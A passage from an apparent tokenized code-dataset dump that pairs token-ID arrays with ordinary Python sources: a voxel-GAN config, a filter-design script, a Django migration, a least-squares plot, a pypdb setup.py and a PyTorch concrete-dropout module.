29883,
29918,
16859,
1839,
29911,
8979,
1144,
2033,
22164,
13,
18884,
363,
301,
297,
3464,
29898,
2435,
29898,
11671,
29883,
29918,
16859,
1839,
29979,
1450,
9928,
793,
2033,
22164,
13,
462,
1678,
1206,
333,
353,
525,
4878,
29995,
29900,
29906,
29889,
29900,
29888,
29918,
29995,
29879,
29918,
29995,
29875,
29915,
1273,
313,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
1144,
2033,
29961,
29875,
1402,
270,
29880,
29883,
29918,
16859,
1839,
2008,
287,
1293,
2033,
29961,
29926,
1402,
270,
29880,
29883,
29918,
16859,
1839,
29911,
8979,
1144,
2033,
29961,
29895,
2314,
13,
462,
1678,
3273,
29918,
4878,
333,
353,
14210,
29900,
29906,
29889,
29900,
29888,
29918,
29995,
29879,
29918,
29995,
29875,
29915,
1273,
313,
11671,
29883,
29918,
16859,
1839,
29956,
1744,
1144,
2033,
29961,
29875,
1402,
270,
29880,
29883,
29918,
16859,
1839,
2008,
287,
1293,
2033,
29961,
29926,
1402,
270,
29880,
29883,
29918,
16859,
1839,
29911,
8979,
1144,
2033,
29961,
29895,
2314,
29871,
13,
268,
13,
462,
1678,
1206,
4841,
29889,
4397,
29898,
4878,
333,
29897,
13,
462,
1678,
3273,
29918,
4878,
4841,
29889,
4397,
29898,
12759,
29918,
4878,
333,
29897,
13,
462,
1678,
274,
16434,
353,
6571,
13,
462,
1678,
274,
16434,
1839,
29888,
303,
29918,
3389,
1445,
2033,
353,
22372,
29900,
1836,
29888,
303,
4286,
4830,
29898,
12759,
29918,
4878,
4841,
29961,
3389,
1707,
2314,
13,
462,
1678,
274,
16434,
1839,
29888,
303,
29918,
29160,
381,
2033,
353,
2897,
29889,
2084,
29889,
7122,
877,
6904,
14023,
8259,
29914,
29900,
29906,
29918,
6558,
29914,
11671,
29883,
29896,
29906,
29914,
742,
3273,
29918,
4878,
4841,
29961,
3389,
1707,
2314,
13,
268,
13,
462,
1678,
396,
4525,
4128,
278,
1021,
363,
599,
4251,
13,
462,
1678,
274,
16434,
1839,
29888,
303,
29918,
6207,
1445,
2033,
353,
525,
3057,
29900,
29896,
29889,
29888,
303,
29915,
29871,
13,
462,
1678,
274,
16434,
1839,
29888,
303,
29918,
6207,
3972,
2033,
29922,
19283,
14023,
8259,
29914,
29900,
29906,
29918,
6558,
29914,
4299,
22208,
13,
462,
1678,
274,
16434,
1839,
29888,
303,
29918,
8097,
2033,
353,
525,
4519,
1254,
29918,
29887,
5080,
29953,
29946,
29915,
13,
462,
1678,
274,
16434,
1839,
328,
29918,
1445,
29918,
1853,
2033,
353,
29871,
29896,
29871,
13,
268,
13,
462,
1678,
396,
12065,
8600,
964,
5835,
8600,
29892,
1820,
287,
491,
1206,
333,
13,
462,
1678,
274,
16434,
29918,
6207,
29961,
4878,
4841,
29961,
3389,
1707,
5262,
353,
274,
16434,
13,
462,
13,
462,
1678,
1065,
1707,
353,
1065,
1707,
718,
29871,
29896,
13,
632,
13,
462,
4706,
13,
2158,
274,
16434,
29918,
6207,
29961,
4878,
4841,
29961,
29875,
5262,
13,
2158,
274,
16434,
1839,
29888,
303,
29918,
3389,
1445,
2033,
13,
632,
13,
29937,
3462,
8943,
2318,
304,
2703,
1388,
29877,
1108,
29892,
1209,
297,
5835,
2295,
934,
13,
4632,
29889,
1202,
877,
2177,
6553,
4519,
1254,
29907,
2129,
742,
383,
1254,
29947,
29909,
1489,
29923,
4230,
293,
13296,
369,
29898,
16859,
29918,
6207,
29892,
1206,
4841,
876,
13,
13,
3332,
29889,
14669,
580,
13,
3332,
29889,
3389,
580,
13,
13,
3332,
29889,
14941,
786,
580,
259,
396,
18420,
6944,
29892,
7148,
746,
773,
1162,
2098,
13,
13,
13,
13,
2
] |
config.py | wangyida/voxel-dcgan | 1 | 35908 | nz = 512 # noize vector size
nsf = 4 # encoded voxel size, scale factor
nvx = 32 # output voxel size
batch_size = 64
learning_rate = 2e-4
dataset_path_i = "/media/wangyida/D0-P1/database/ShapeNetCore.v2/*/*/*/model_normalized.binvox.thinned"
dataset_path_o = "/media/wangyida/D0-P1/database/ShapeNetCore.v2/*/*/*/model_normalized.binvox"
params_path = "params/voxel_dcgan_model.ckpt"
| [
1,
302,
29920,
353,
29871,
29945,
29896,
29906,
396,
694,
675,
4608,
2159,
13,
1983,
29888,
353,
29871,
29946,
396,
18511,
992,
29916,
295,
2159,
29892,
6287,
7329,
13,
29876,
29894,
29916,
353,
29871,
29941,
29906,
396,
1962,
992,
29916,
295,
2159,
13,
16175,
29918,
2311,
353,
29871,
29953,
29946,
29871,
13,
21891,
29918,
10492,
353,
29871,
29906,
29872,
29899,
29946,
13,
24713,
29918,
2084,
29918,
29875,
353,
5591,
9799,
29914,
29893,
574,
29891,
1458,
29914,
29928,
29900,
29899,
29925,
29896,
29914,
9803,
29914,
24111,
6779,
9203,
29889,
29894,
29906,
29914,
3877,
3877,
3877,
4299,
29918,
8945,
1891,
29889,
2109,
1365,
29916,
29889,
386,
27464,
29908,
13,
24713,
29918,
2084,
29918,
29877,
353,
5591,
9799,
29914,
29893,
574,
29891,
1458,
29914,
29928,
29900,
29899,
29925,
29896,
29914,
9803,
29914,
24111,
6779,
9203,
29889,
29894,
29906,
29914,
3877,
3877,
3877,
4299,
29918,
8945,
1891,
29889,
2109,
1365,
29916,
29908,
13,
7529,
29918,
2084,
353,
376,
7529,
29914,
1365,
29916,
295,
29918,
13891,
6249,
29918,
4299,
29889,
384,
415,
29908,
13,
2
] |
TP2 - Sim/Ej_6/script.py | lucasliano/TC2 | 0 | 58678 | # -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
import numpy as np
import matplotlib.pyplot as plt
from splane import pzmap, grpDelay, bodePlot, convert2SOS
from scipy import signal
# Esta es una liberia tomada de la comunidad [https://stackoverflow.com/questions/35304245/multiply-scipy-lti-transfer-functions?newreg=b12c460c179042b09ad75c2fb4297bc9]
from ltisys import *
e = .096
a = np.roots([-256*e,0,-640*e,0,-560*e,0,-200*e,0,-25*e,0,1])
# Coeficientes Transferencias
q_1 = 2.59
k = 1
q_2 = 4.3
w_2 = 1.025
q_3 = 1.12
w_3 = 0.703
# Genero la función transferencia T1 en S
num_t1 = [1, 0]
den_t1 = [1, q_1]
T1 = ltimul(num_t1, den_t1);
# Genero la función transferencia T2 en S
num_t2 = [1, 0, 0]
den_t2 = [1, 1 / (q_2 * w_2), 1/ (w_2**2)]
T2 = ltimul(num_t2, den_t2);
# Genero la función transferencia T3 en S
num_t3 = [1, 0, 0]
den_t3 = [1, 1 / (q_3 * w_3), 1/ (w_3**2)]
T3 = ltimul(num_t3, den_t3);
T = T1 * T2 * T3
#pzmap(T, 1);
#fig, ax = bodePlot(T1.to_ss(), 2);
#fig, ax = bodePlot(T2.to_ss(), 2);
#fig, ax = bodePlot(T3.to_ss(), 2);
fig, ax = bodePlot(T.to_ss(), 2);
#ax[0].set_xlim(1e-1,1e1)
#ax[0].set_ylim(-100, 10)
#ax[1].set_xlim(1e-1,1e1) | [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
29903,
2272,
672,
14059,
13,
13,
4013,
338,
263,
13201,
2471,
934,
29889,
13,
15945,
29908,
13,
5215,
12655,
408,
7442,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
3166,
8536,
1662,
1053,
282,
29920,
1958,
29892,
867,
29886,
24996,
29892,
289,
356,
20867,
29892,
3588,
29906,
29903,
3267,
13,
3166,
4560,
2272,
1053,
7182,
13,
13,
29937,
14192,
831,
1185,
7866,
423,
6454,
1114,
316,
425,
8759,
2368,
518,
991,
597,
2417,
29889,
510,
29914,
2619,
29914,
29941,
29945,
29941,
29900,
29946,
29906,
29946,
29945,
29914,
18056,
368,
29899,
26167,
2272,
29899,
1896,
29875,
29899,
3286,
571,
29899,
12171,
29973,
1482,
1727,
29922,
29890,
29896,
29906,
29883,
29946,
29953,
29900,
29883,
29896,
29955,
29929,
29900,
29946,
29906,
29890,
29900,
29929,
328,
29955,
29945,
29883,
29906,
14943,
29946,
29906,
29929,
29955,
12328,
29929,
29962,
13,
3166,
301,
28898,
952,
1053,
334,
13,
13,
29872,
353,
869,
29900,
29929,
29953,
13,
29874,
353,
7442,
29889,
307,
1862,
4197,
29899,
29906,
29945,
29953,
29930,
29872,
29892,
29900,
6653,
29953,
29946,
29900,
29930,
29872,
29892,
29900,
6653,
29945,
29953,
29900,
29930,
29872,
29892,
29900,
6653,
29906,
29900,
29900,
29930,
29872,
29892,
29900,
6653,
29906,
29945,
29930,
29872,
29892,
29900,
29892,
29896,
2314,
13,
13,
29937,
3189,
1389,
293,
13833,
17934,
6187,
13,
29939,
29918,
29896,
353,
29871,
29906,
29889,
29945,
29929,
13,
13,
29895,
353,
29871,
29896,
13,
13,
29939,
29918,
29906,
353,
29871,
29946,
29889,
29941,
13,
29893,
29918,
29906,
353,
29871,
29896,
29889,
29900,
29906,
29945,
13,
13,
29939,
29918,
29941,
353,
29871,
29896,
29889,
29896,
29906,
13,
29893,
29918,
29941,
353,
29871,
29900,
29889,
29955,
29900,
29941,
13,
13,
29937,
3251,
29877,
425,
2090,
1290,
6782,
5760,
323,
29896,
427,
317,
13,
1949,
29918,
29873,
29896,
353,
518,
29896,
29892,
29871,
29900,
29962,
13,
1145,
29918,
29873,
29896,
353,
518,
29896,
29892,
3855,
29918,
29896,
29962,
13,
29911,
29896,
353,
301,
9346,
352,
29898,
1949,
29918,
29873,
29896,
29892,
972,
29918,
29873,
29896,
416,
13,
13,
29937,
3251,
29877,
425,
2090,
1290,
6782,
5760,
323,
29906,
427,
317,
13,
1949,
29918,
29873,
29906,
353,
518,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29962,
13,
1145,
29918,
29873,
29906,
353,
518,
29896,
29892,
29871,
29896,
847,
313,
29939,
29918,
29906,
334,
281,
29918,
29906,
511,
29871,
29896,
29914,
313,
29893,
29918,
29906,
1068,
29906,
4638,
13,
29911,
29906,
353,
301,
9346,
352,
29898,
1949,
29918,
29873,
29906,
29892,
972,
29918,
29873,
29906,
416,
13,
13,
29937,
3251,
29877,
425,
2090,
1290,
6782,
5760,
323,
29941,
427,
317,
13,
1949,
29918,
29873,
29941,
353,
518,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29962,
13,
1145,
29918,
29873,
29941,
353,
518,
29896,
29892,
29871,
29896,
847,
313,
29939,
29918,
29941,
334,
281,
29918,
29941,
511,
29871,
29896,
29914,
313,
29893,
29918,
29941,
1068,
29906,
4638,
13,
29911,
29941,
353,
301,
9346,
352,
29898,
1949,
29918,
29873,
29941,
29892,
972,
29918,
29873,
29941,
416,
13,
13,
13,
29911,
353,
323,
29896,
334,
323,
29906,
334,
323,
29941,
13,
29937,
29886,
29920,
1958,
29898,
29911,
29892,
29871,
29896,
416,
13,
29937,
1003,
29892,
4853,
353,
289,
356,
20867,
29898,
29911,
29896,
29889,
517,
29918,
893,
3285,
29871,
29906,
416,
13,
29937,
1003,
29892,
4853,
353,
289,
356,
20867,
29898,
29911,
29906,
29889,
517,
29918,
893,
3285,
29871,
29906,
416,
13,
29937,
1003,
29892,
4853,
353,
289,
356,
20867,
29898,
29911,
29941,
29889,
517,
29918,
893,
3285,
29871,
29906,
416,
13,
1003,
29892,
4853,
353,
289,
356,
20867,
29898,
29911,
29889,
517,
29918,
893,
3285,
29871,
29906,
416,
13,
29937,
1165,
29961,
29900,
1822,
842,
29918,
29916,
2576,
29898,
29896,
29872,
29899,
29896,
29892,
29896,
29872,
29896,
29897,
13,
29937,
1165,
29961,
29900,
1822,
842,
29918,
29891,
2576,
6278,
29896,
29900,
29900,
29892,
29871,
29896,
29900,
29897,
13,
29937,
1165,
29961,
29896,
1822,
842,
29918,
29916,
2576,
29898,
29896,
29872,
29899,
29896,
29892,
29896,
29872,
29896,
29897,
2
] |
Vokeur/website/migrations/0022_auto_20190616_1150.py | lsdr1999/Project | 0 | 198318 | # Generated by Django 2.2.1 on 2019-06-16 11:50
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('website', '0021_auto_20190614_1538'),
]
operations = [
migrations.RemoveField(
model_name='antwoorden',
name='antwoorden',
),
migrations.AddField(
model_name='antwoorden',
name='eens',
field=models.CharField(default='Eens', max_length=240),
),
migrations.AddField(
model_name='antwoorden',
name='geenvanbeide',
field=models.CharField(default='Geen van Beide', max_length=240),
),
migrations.AddField(
model_name='antwoorden',
name='oneens',
field=models.CharField(default='Oneens', max_length=240),
),
migrations.AlterField(
model_name='antwoorden',
name='id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, primary_key=True, serialize=False, to='website.Vragen'),
),
]
| [
1,
396,
3251,
630,
491,
15337,
29871,
29906,
29889,
29906,
29889,
29896,
373,
29871,
29906,
29900,
29896,
29929,
29899,
29900,
29953,
29899,
29896,
29953,
29871,
29896,
29896,
29901,
29945,
29900,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
5215,
9557,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
22942,
742,
525,
29900,
29900,
29906,
29896,
29918,
6921,
29918,
29906,
29900,
29896,
29929,
29900,
29953,
29896,
29946,
29918,
29896,
29945,
29941,
29947,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
15941,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
424,
827,
10934,
742,
13,
9651,
1024,
2433,
424,
827,
10934,
742,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
424,
827,
10934,
742,
13,
9651,
1024,
2433,
29872,
575,
742,
13,
9651,
1746,
29922,
9794,
29889,
27890,
29898,
4381,
2433,
29923,
575,
742,
4236,
29918,
2848,
29922,
29906,
29946,
29900,
511,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
424,
827,
10934,
742,
13,
9651,
1024,
2433,
479,
264,
3703,
915,
680,
742,
13,
9651,
1746,
29922,
9794,
29889,
27890,
29898,
4381,
2433,
7999,
264,
1109,
1522,
680,
742,
4236,
29918,
2848,
29922,
29906,
29946,
29900,
511,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
424,
827,
10934,
742,
13,
9651,
1024,
2433,
650,
575,
742,
13,
9651,
1746,
29922,
9794,
29889,
27890,
29898,
4381,
2433,
6716,
575,
742,
4236,
29918,
2848,
29922,
29906,
29946,
29900,
511,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2499,
357,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
424,
827,
10934,
742,
13,
9651,
1024,
2433,
333,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
304,
2433,
22942,
29889,
29963,
12702,
5477,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
manuscript/img-src/prepie.py | ssloy/least-squares-course | 129 | 173519 | <filename>manuscript/img-src/prepie.py
import numpy as np
fa = 1 # left constraint
fb = 3 # right constraint
n = 40
x = np.linspace(0, 2*np.pi, n)
g = [np.sin(p) for p in x]
A = np.matrix(np.zeros((n-1,n-2)))
b = np.matrix(np.zeros((n-1,1)))
A[0,0] = 1
b[0,0] = fa + g[1]-g[0]
A[n-2, n-3] = -1
b[n-2,0] = -fb + g[-1]-g[-2]
for i in range(1,n-2):
b[i,0] = g[i]-g[i-1]
A[i, i-1] = -1
A[i, i ] = 1
f = [fa] + (np.linalg.inv(A.T*A)*A.T*b).T.tolist()[0] + [fb]
import matplotlib.pyplot as plt
plt.rcParams["font.family"] = "serif"
plt.rcParams["mathtext.fontset"] = "dejavuserif"
plt.rcParams['text.usetex'] = True
plt.rc('font', size=20)
#plt.rc('axes', titlesize=20, labelsize=20)
#plt.rc('xtick', labelsize=40) # fontsize of the tick labels
fig,ax = plt.subplots(1, figsize=(6.40,6.40),dpi=150)
for item in ([ax.title, ax.xaxis.label, ax.yaxis.label] +
ax.get_xticklabels() + ax.get_yticklabels()):
item.set_fontsize(20)
plt.plot(x, f, linewidth=3, label='$f(x)$')
plt.plot(x, g, linewidth=3, label='$g(x) = \sin x$')
plt.scatter([x[0], x[-1]], [fa,fb], color='red', edgecolors='black',s=200)
plt.legend(frameon=False)
plt.tight_layout()
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig('prepie.png', bbox_inches='tight')
plt.show()
| [
1,
529,
9507,
29958,
1171,
375,
924,
29914,
2492,
29899,
4351,
29914,
1457,
12343,
29889,
2272,
13,
5215,
12655,
408,
7442,
13,
13,
5444,
353,
29871,
29896,
396,
2175,
7276,
13,
14943,
353,
29871,
29941,
396,
1492,
7276,
13,
29876,
353,
29871,
29946,
29900,
13,
29916,
353,
7442,
29889,
1915,
3493,
29898,
29900,
29892,
29871,
29906,
29930,
9302,
29889,
1631,
29892,
302,
29897,
13,
29887,
353,
518,
9302,
29889,
5223,
29898,
29886,
29897,
363,
282,
297,
921,
29962,
13,
13,
29909,
353,
7442,
29889,
5344,
29898,
9302,
29889,
3298,
359,
3552,
29876,
29899,
29896,
29892,
29876,
29899,
29906,
4961,
13,
29890,
353,
7442,
29889,
5344,
29898,
9302,
29889,
3298,
359,
3552,
29876,
29899,
29896,
29892,
29896,
4961,
13,
29909,
29961,
29900,
29892,
29900,
29962,
418,
353,
259,
29896,
13,
29890,
29961,
29900,
29892,
29900,
29962,
418,
353,
29871,
2258,
718,
330,
29961,
29896,
29962,
29899,
29887,
29961,
29900,
29962,
13,
29909,
29961,
29876,
29899,
29906,
29892,
302,
29899,
29941,
29962,
353,
448,
29896,
13,
29890,
29961,
29876,
29899,
29906,
29892,
29900,
29962,
1678,
353,
448,
14943,
718,
330,
14352,
29896,
29962,
29899,
29887,
14352,
29906,
29962,
13,
1454,
474,
297,
3464,
29898,
29896,
29892,
29876,
29899,
29906,
1125,
13,
1678,
289,
29961,
29875,
29892,
29900,
29962,
353,
330,
29961,
29875,
29962,
29899,
29887,
29961,
29875,
29899,
29896,
29962,
13,
1678,
319,
29961,
29875,
29892,
474,
29899,
29896,
29962,
353,
448,
29896,
13,
1678,
319,
29961,
29875,
29892,
474,
29871,
4514,
353,
259,
29896,
13,
13,
29888,
353,
518,
5444,
29962,
718,
313,
9302,
29889,
29880,
979,
29887,
29889,
11569,
29898,
29909,
29889,
29911,
29930,
29909,
11877,
29909,
29889,
29911,
29930,
29890,
467,
29911,
29889,
25027,
391,
580,
29961,
29900,
29962,
718,
518,
14943,
29962,
13,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
572,
29873,
29889,
2214,
9629,
3366,
5657,
29889,
11922,
3108,
353,
376,
643,
361,
29908,
13,
572,
29873,
29889,
2214,
9629,
3366,
755,
726,
29889,
5657,
842,
3108,
353,
376,
311,
9494,
1792,
361,
29908,
13,
572,
29873,
29889,
2214,
9629,
1839,
726,
29889,
11616,
735,
2033,
353,
5852,
13,
572,
29873,
29889,
2214,
877,
5657,
742,
2159,
29922,
29906,
29900,
29897,
13,
29937,
572,
29873,
29889,
2214,
877,
1165,
267,
742,
17735,
675,
29922,
29906,
29900,
29892,
3858,
2311,
29922,
29906,
29900,
29897,
13,
29937,
572,
29873,
29889,
2214,
877,
486,
860,
742,
3858,
2311,
29922,
29946,
29900,
29897,
1678,
396,
4079,
2311,
310,
278,
16892,
11073,
13,
13,
1003,
29892,
1165,
353,
14770,
29889,
1491,
26762,
29898,
29896,
29892,
2537,
2311,
7607,
29953,
29889,
29946,
29900,
29892,
29953,
29889,
29946,
29900,
511,
29881,
1631,
29922,
29896,
29945,
29900,
29897,
13,
13,
1454,
2944,
297,
9310,
1165,
29889,
3257,
29892,
4853,
29889,
29916,
8990,
29889,
1643,
29892,
4853,
29889,
29891,
8990,
29889,
1643,
29962,
718,
13,
632,
4853,
29889,
657,
29918,
486,
860,
21134,
580,
718,
4853,
29889,
657,
29918,
3637,
860,
21134,
580,
1125,
13,
1678,
2944,
29889,
842,
29918,
5657,
2311,
29898,
29906,
29900,
29897,
13,
13,
13,
572,
29873,
29889,
5317,
29898,
29916,
29892,
285,
29892,
1196,
2103,
29922,
29941,
29892,
3858,
2433,
29938,
29888,
29898,
29916,
1262,
1495,
13,
572,
29873,
29889,
5317,
29898,
29916,
29892,
330,
29892,
1196,
2103,
29922,
29941,
29892,
3858,
2433,
29938,
29887,
29898,
29916,
29897,
353,
320,
5223,
921,
29938,
1495,
13,
572,
29873,
29889,
1557,
2620,
4197,
29916,
29961,
29900,
1402,
921,
14352,
29896,
20526,
518,
5444,
29892,
14943,
1402,
2927,
2433,
1127,
742,
7636,
27703,
2433,
8517,
742,
29879,
29922,
29906,
29900,
29900,
29897,
13,
572,
29873,
29889,
26172,
29898,
2557,
265,
29922,
8824,
29897,
13,
572,
29873,
29889,
29873,
523,
29918,
2680,
580,
13,
572,
29873,
29889,
29887,
1113,
2141,
842,
29918,
294,
1103,
877,
11745,
742,
10365,
519,
2433,
1884,
1495,
13,
572,
29873,
29889,
7620,
1003,
877,
1457,
12343,
29889,
2732,
742,
289,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
572,
29873,
29889,
4294,
580,
13,
2
] |
setup.py | williamgilpin/pypdb_legacy | 0 | 15977 | <reponame>williamgilpin/pypdb_legacy
from setuptools import setup
setup(
name = 'pypdb',
packages = ['pypdb'], # same as 'name'
version = '1.310',
install_requires=[
'xmltodict',
'beautifulsoup4',
'requests'
],
description = 'A Python wrapper for the RCSB Protein Data Bank (PDB) API',
author = '<NAME>',
author_email = '<EMAIL>',
url = 'https://github.com/williamgilpin/pypdb',
download_url = 'https://github.com/williamgilpin/pypdb/tarball/0.6',
keywords = ['protein','data','RESTful','api'],
classifiers = [],
)
| [
1,
529,
276,
1112,
420,
29958,
14043,
2829,
29887,
309,
12687,
29914,
29886,
1478,
2585,
29918,
1397,
4135,
13,
3166,
731,
21245,
8789,
1053,
6230,
13,
13,
13,
14669,
29898,
13,
29871,
1024,
353,
525,
29886,
1478,
2585,
742,
13,
29871,
9741,
353,
6024,
29886,
1478,
2585,
7464,
396,
1021,
408,
525,
978,
29915,
13,
29871,
1873,
353,
525,
29896,
29889,
29941,
29896,
29900,
742,
13,
29871,
2601,
29918,
276,
339,
2658,
11759,
13,
4706,
525,
3134,
20034,
919,
742,
29871,
13,
4706,
525,
915,
1300,
6845,
29879,
1132,
29946,
742,
13,
12,
12,
29915,
24830,
29915,
13,
29871,
21251,
13,
29871,
6139,
353,
525,
29909,
5132,
14476,
363,
278,
29138,
1744,
14409,
262,
3630,
10253,
313,
29925,
4051,
29897,
3450,
742,
13,
29871,
4148,
353,
12801,
5813,
29958,
742,
13,
29871,
4148,
29918,
5269,
353,
12801,
26862,
6227,
29958,
742,
13,
29871,
3142,
353,
525,
991,
597,
3292,
29889,
510,
29914,
14043,
2829,
29887,
309,
12687,
29914,
29886,
1478,
2585,
742,
13,
29871,
5142,
29918,
2271,
353,
525,
991,
597,
3292,
29889,
510,
29914,
14043,
2829,
29887,
309,
12687,
29914,
29886,
1478,
2585,
29914,
12637,
2135,
29914,
29900,
29889,
29953,
742,
29871,
13,
29871,
29361,
353,
6024,
14676,
262,
3788,
1272,
3788,
1525,
1254,
1319,
3788,
2754,
7464,
13,
29871,
770,
14903,
353,
19997,
13,
29897,
13,
2
] |
code/models/concrete_dropout.py | yannick-t/probabilistic_forecasting_of_energy_time_series_using_deep_learning | 2 | 167003 | # Code based on https://github.com/yaringal/ConcreteDropout
# License:
# MIT License
#
# Copyright (c) 2017
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import torch
import numpy as np
from torch import nn
from models.base_nn import BaseNN
class ConcreteDropout(nn.Module):
def __init__(self, weight_regularizer=1e-6,
dropout_regularizer=1e-5, init_min=0.1, init_max=0.1):
super(ConcreteDropout, self).__init__()
self.weight_regularizer = weight_regularizer
self.dropout_regularizer = dropout_regularizer
init_min = np.log(init_min) - np.log(1. - init_min)
init_max = np.log(init_max) - np.log(1. - init_max)
self.p_logit = nn.Parameter(torch.empty(1).uniform_(init_min, init_max))
def forward(self, x, layer):
p = torch.sigmoid(self.p_logit)
out = layer(self._concrete_dropout(x, p))
sum_of_square = 0
for param in layer.parameters():
sum_of_square += torch.sum(torch.pow(param, 2))
weights_regularizer = self.weight_regularizer * sum_of_square / (1 - p)
dropout_regularizer = p * torch.log(p)
dropout_regularizer += (1. - p) * torch.log(1. - p)
input_dimensionality = x[0].numel() # Number of elements of first item in batch
dropout_regularizer *= self.dropout_regularizer * input_dimensionality
regularization = weights_regularizer + dropout_regularizer
return out, regularization
def _concrete_dropout(self, x, p):
eps = 1e-7
temp = 0.1
unif_noise = torch.rand_like(x)
drop_prob = (torch.log(p + eps)
- torch.log(1 - p + eps)
+ torch.log(unif_noise + eps)
- torch.log(1 - unif_noise + eps))
drop_prob = torch.sigmoid(drop_prob / temp)
random_tensor = 1 - drop_prob
retain_prob = 1 - p
x = torch.mul(x, random_tensor)
x /= retain_prob
return x
class ConcreteDropoutNN(BaseNN):
def __init__(self, weight_regularizer, dropout_regularizer, input_size, output_size, **kwargs):
super(ConcreteDropoutNN, self).__init__(**kwargs)
self.hidden_size.append(output_size)
self.linear1 = nn.Linear(input_size, self.hidden_size[0])
self.linears = nn.ModuleList([nn.Linear(self.hidden_size[i], self.hidden_size[i + 1]) for i in range(len(self.hidden_size) - 1)])
self.conc_drops = nn.ModuleList([ConcreteDropout(weight_regularizer=weight_regularizer,
dropout_regularizer=dropout_regularizer)
for i in range(len(self.hidden_size))])
self.act = nn.ReLU()
def forward(self, x):
regularization = torch.empty(len(self.hidden_size), device=x.device)
out_arr = []
out, regularization[0] = self.conc_drops[0](x, nn.Sequential(self.linear1, self.act))
out_arr.append(out)
for i in range(len(self.hidden_size) - 1):
if i == len(self.hidden_size) - 2:
act = nn.Identity()
else:
act = self.act
out, regularization[i + 1] = self.conc_drops[i + 1](out, nn.Sequential(self.linears[i], act))
out_arr.append(out)
return out, regularization.sum()
| [
1,
396,
5920,
2729,
373,
2045,
597,
3292,
29889,
510,
29914,
29891,
4362,
284,
29914,
1168,
9084,
15063,
449,
13,
29937,
19245,
29901,
13,
29937,
341,
1806,
19245,
13,
29937,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29955,
13,
29937,
13,
29937,
20894,
2333,
338,
1244,
1609,
16896,
29892,
3889,
310,
8323,
29892,
304,
738,
2022,
4017,
292,
263,
3509,
13,
29937,
310,
445,
7047,
322,
6942,
5106,
2066,
313,
1552,
376,
6295,
14093,
4968,
304,
5376,
13,
29937,
297,
278,
18540,
1728,
24345,
29892,
3704,
1728,
29485,
278,
10462,
13,
29937,
304,
671,
29892,
3509,
29892,
6623,
29892,
10366,
29892,
9805,
29892,
1320,
2666,
29892,
269,
803,
1947,
29892,
322,
29914,
272,
19417,
13,
29937,
14591,
310,
278,
18540,
29892,
322,
304,
14257,
12407,
304,
6029,
278,
18540,
338,
13,
29937,
15252,
3276,
304,
437,
577,
29892,
4967,
304,
278,
1494,
5855,
29901,
13,
29937,
13,
29937,
450,
2038,
3509,
1266,
8369,
322,
445,
10751,
8369,
4091,
367,
5134,
297,
599,
13,
29937,
14591,
470,
23228,
2011,
1080,
310,
278,
18540,
29889,
13,
29937,
13,
29937,
6093,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
376,
3289,
8519,
613,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29979,
8079,
13764,
29979,
476,
22255,
29892,
8528,
15094,
1799,
6323,
13,
29937,
306,
3580,
5265,
3352,
29892,
2672,
6154,
15789,
4214,
350,
2692,
6058,
27848,
3352,
7495,
6093,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
29892,
13,
29937,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
5300,
405,
1164,
1177,
15860,
1177,
1692,
13780,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
13,
29937,
26524,
29950,
24125,
6323,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
20700,
17705,
6181,
